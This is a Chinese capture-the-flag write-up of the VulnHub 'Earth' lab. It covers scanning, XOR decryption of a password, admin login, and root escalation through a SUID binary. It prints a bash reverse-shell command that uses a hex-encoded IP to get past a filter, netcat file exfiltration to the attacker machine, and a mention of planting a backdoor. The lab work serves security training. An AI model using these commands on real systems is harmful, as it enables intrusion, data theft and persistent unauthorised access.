VulnHub-Earth 打靶记录

搭建靶场的时候一定要使用NATserver或者其他有虚拟网关的网络模式否则无法扫描到端口开放也无法访问。

知识点

  • NMAP参数

    • -sV 获取系统信息
    • -sT TCP扫描可能会留下日志记录
    • -sC 使用默认脚本(在-A模式下不需要)
    • -p1-xxx 扫描端口号 -p- ==>等价于 -p1-65535 不设置端口就扫描默认端口
    • -Pn 绕过禁用ping
    • -A 进攻性扫描也会运行默认脚本)
  • arp-scan arp利用arp地址解析协议探测扫描
    • -I 大写i 用以指定用来扫描的网卡 如果未指定会使用网卡序号最低的一个 也就是eth0但是如果指定 那么指定的网卡必须支持ARP
    • -l 小写L 表示从网络接口的ip和掩码生成列表进行扫描
  • dirb 目录扫描 直接dirb https://target.com
    • -i 使用不区分大小写
    • -l 小写L 扫描到信息后本地打印 没有这个选项

目标探测

  1. arp-scan -I eth0 -l #利用arp扫描eth0网卡所在局域网中所有存活的主机

    nmap -sV -Pn -sT -sC 10.0.3.5 如果没有结果可以尝试全端口扫描
  2. Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local 根据本行信息发现目标使用了dns解析 只能在本地hosts中写上解析

信息收集

  1. dirb https://earth.local & dirb https://terratest.earth.local/ 使用dirb扫描web应用目录 需要注意的是这里扫描要扫描https协议下的因为上一步的nmap扫描出来的应用是443端口也就是https协议所以这里也要用https

  2. 在扫描https://terratest.earth.local/时发现该域名下有个robots.txt泄露 进去发现有一个(Disallow: /testingnotes.*) 代表有这个名字的文件 更换后缀名可以得到后缀txt页面下有一个说明文件 其中泄露的信息 包括管理员用户名terra 并且第三行泄露了一个用以加密的文件 以及加密的算法为XOR

  3. 利用python代码进行异或运算获取16进制字符串 并进行解密

    import base64
    import binascii
    data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
    #data1中的数据为https://earth.local页面中最下面一行数据的内容 如果不确定是哪个可以都试试 只有这个数据可以异或出来有效数据
    f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
    #(open('a.txt', 'rb') rb参数表示获取到的是 testdata.txt中内容的16进制 其整体结果为2进制的表现形式。testdata.txt 是上一步扫描获取到的信息 可以复制出来 也可以 使用命令:wget https://terratest.earth.local/testdata.txt --no-check-certificate
    #binascii.b2a_hex 把二进制形式的16进制字符串转换为16进制的形式
    res=hex(int(data1,16) ^ int(f,16)) #&与 |或 ^异或 ~非 >>右移 <<左移 异或的时候需要知道必须要与加密文件大小相同
    print(res) #输出异或运算后的16进制字符串
  4. 将获取到的16进制字符串进行字符转换(在线解密工具) 分析内容对以下字符串进行了多次重复输出earthclimatechangebad4humans 根据上一步泄露的testingnotes.txt文档中信息猜测为密码

Shell反弹&信息二次收集

  1. 使用收集到的信息进行后台登录(user:terra passwd:earthclimatechangebad4humans)登录地址为信息收集页面发现的admin页面尝试登录网站并成功后发现是一个 命令执行的界面
  2. 执行命令find / -name "\*flag\*" 在所有的内容中锁定user_flag.txt为可疑文件

    cat 获取flag
  3. cat /var/earth_web/user_flag.txt 获取文件内容

    [user_flag_3353b67d6437f07ba7d34afd7d2fc27d]

提权

  1. 反弹 shell 由于无法用nc反弹成功考虑用bash反弹 发现依旧反弹失败

    经测试可能过滤了IP尝试使用十六进制格式的ip地址绕过(其实在/var/earth_web/secure_message/forms.py 中可以发现过滤代码 ) bash -i >& /dev/tcp/0X0a000304/5566 0>&1 ( 由于过滤了IP的格式改为16进制 转换地址 )

  2. 由于反弹的shell权限不是root。

    尝试利用命令继续查找有执行权限的命令 find / -perm -u=s -type f 2>/dev/null

  3. 发现有一个reset_root 命令猜测意思是重置root 用strings命令打印文件中可打印的字符 看了后发现跟没看一样 尝试运行 报错

  4. 用以下命令将文件上传到本地环境下

    攻击机:nc -nlvp 1234 >reset_root

    靶机shell:nc 192.168.43.118 1234 < /usr/bin/reset_root

  5. chmod 777 reset_root 给个权限

  6. strace reset_root 解析运行看结果(在执行nc -nlvp 1234 >reset_root 命令的目录下)本地运行 继续报错 提示缺少 三个文件

  7. 在靶机shell上创建这三个文件后

    touch /dev/shm/kHgTFI5G touch /dev/shm/Zw7bV9U5 touch/tmp/kcM0Wewe

  8. 继续运行 ./reset_root

  9. 提示密码重置为Earth了

  10. ------->至此获得root权限。

权限维持

上传后门木马即可获得权限维持。

VulnHub-Earth 打靶记录的更多相关文章

  1. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  2. Vulnhub 之 Earth

    靶机地址:https://www.vulnhub.com/entry/the-planets-earth,755/ Kali IP:192.168.56.104 下载OVA文件后,直接通过Virtua ...

  3. vulnhub靶场之THE PLANETS: EARTH

    准备: 攻击机:虚拟机kali.本机win10. 靶机:THE PLANETS: EARTH,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnh ...

  4. vulnhub靶场之AI-WEB1.0渗透记录

    在本机电脑上自行搭建了一个练手的靶场,下面是记录渗透过程 目录 一.确认靶机ip 二.端口&目录扫描 三.查看敏感目录 四.sql注入 五.get shell 六.系统提权 确认靶机ip ka ...

  5. Vulnhub - THE PLANETS: EARTH

    环境配置 从www.vulnhub.com下载靶机,在VMware中导入,自动分配IP 主机发现 通过对内网主机的扫描,VMware为目标主机 端口扫描 使用nmap对主机进行扫描 发现443端口信息 ...

  6. 打靶笔记-01-vulnhub-moneybox

    打靶笔记-01-vulnhub-moneybox 本篇笔记根据苑老师视频进行学习记录 https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from= ...

  7. 打靶笔记-04-vulnhub-Jangow

    打靶笔记-04-vulnhub-Jangow 前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍. 一.靶机信息 Name: Jangow: 1.0.1 ...

  8. ArcGIS Earth数据小析

    ArcGIS Earth,一款轻量级的三维地球应用.因为工作关系下载试用了半天,正好借这个机会简单研究一下ArcGIS Earth的大概思路,特别是地形数据的组成和影像数据的加载,在这总结整理一下.下 ...

  9. 基于google earth engine 云计算平台的全国水体变化研究

    第一个博客密码忘记了,今天才来开通第二个博客,时间已经过去两年了,三年的硕士生涯,真的是感慨良多,最有收获的一段时光,莫过于在实验室一个人敲着代码了,研三来得到中科院深圳先进院,在这里开始了新的研究生 ...

随机推荐

  1. python练习册 每天一个小程序 第0005题

    1 # -*-coding:utf-8-*- 2 __author__ = 'Deen' 3 ''' 4 题目说明: 你有一个目录,装了很多照片,把它们的尺寸变成都不大于 iPhone5 分辨率的大小 ...

  2. Java思考——HashSet集合如何保证元素的唯一性也就是不包含重复元素?

    首先将源码逐级找出来1.HashSet<String> hs=new HashSet<String>();         hs.add("hello"); ...

  3. 随意写文件命令?怎么向屏幕输出带空格的字符串,比如”hello world”?

    写文件命令:vi 向屏幕输出带空格的字符串:echo hello world

  4. Spring框架的事务管理有哪些优点?

    它为不同的事务API  如 JTA,JDBC,Hibernate,JPA 和JDO,提供一个不变的编程模式. 它为编程式事务管理提供了一套简单的API而不是一些复杂的事务API如 它支持声明式事务管理 ...

  5. mac 修改环境变量bash_profile除了cd用不了其他命令,又关闭了终端

    1.添加命令出错,会导致mac不能使用命令 2.打开终端再添加export PATH=/usr/bin:/usr/sbin:/bin:/sbin:/usr/X11R6/bin 一条 3.可以使用命令, ...

  6. 解释 WEB 模块?

    Spring 的 WEB 模块是构建在 application context 模块基础之上,提供一个适 合 web 应用的上下文.这个模块也包括支持多种面向 web 的任务,如透明地处理 多个文件上 ...

  7. springboot使用自定义注解和反射实现一个简单的支付

    优点: 未使用if else,就算以后增加支付类型,也不用改动之前代码 只需要新写一个支付类,给添加自定义注解@Pay 首先: 定义自定义注解 Pay 定义 CMBPay ICBCPay 两种支付 根 ...

  8. 编译器如何处理C++不同类中同名函数(参数类型个数都相同)

    转载请注明出处,版权归作者所有 lyzaily@126.com yanzhong.lee 作者按: 从这篇文章中,我们主要会认识到一下几点: 一.不类中的特征标相同的同名函数,它们是不同的函数,原因就 ...

  9. H.265

    Baseline支持I/P 帧,只支持无交错(Progressive)和CAVLC一般用于低阶或需要额外容错的应用,比如视频通话.手机视频等: Main支持I/P/B 帧,无交错(Progressiv ...

  10. webpack系列——webpack3导入jQuery的新方案

    本文的目的 拒绝全局导入jQuery!! 拒绝script导入jQuery!! 找到一种只在当前js组件中引入jQuery,并且使用webpack切割打包的方案! 测试环境 以下测试在webpack3 ...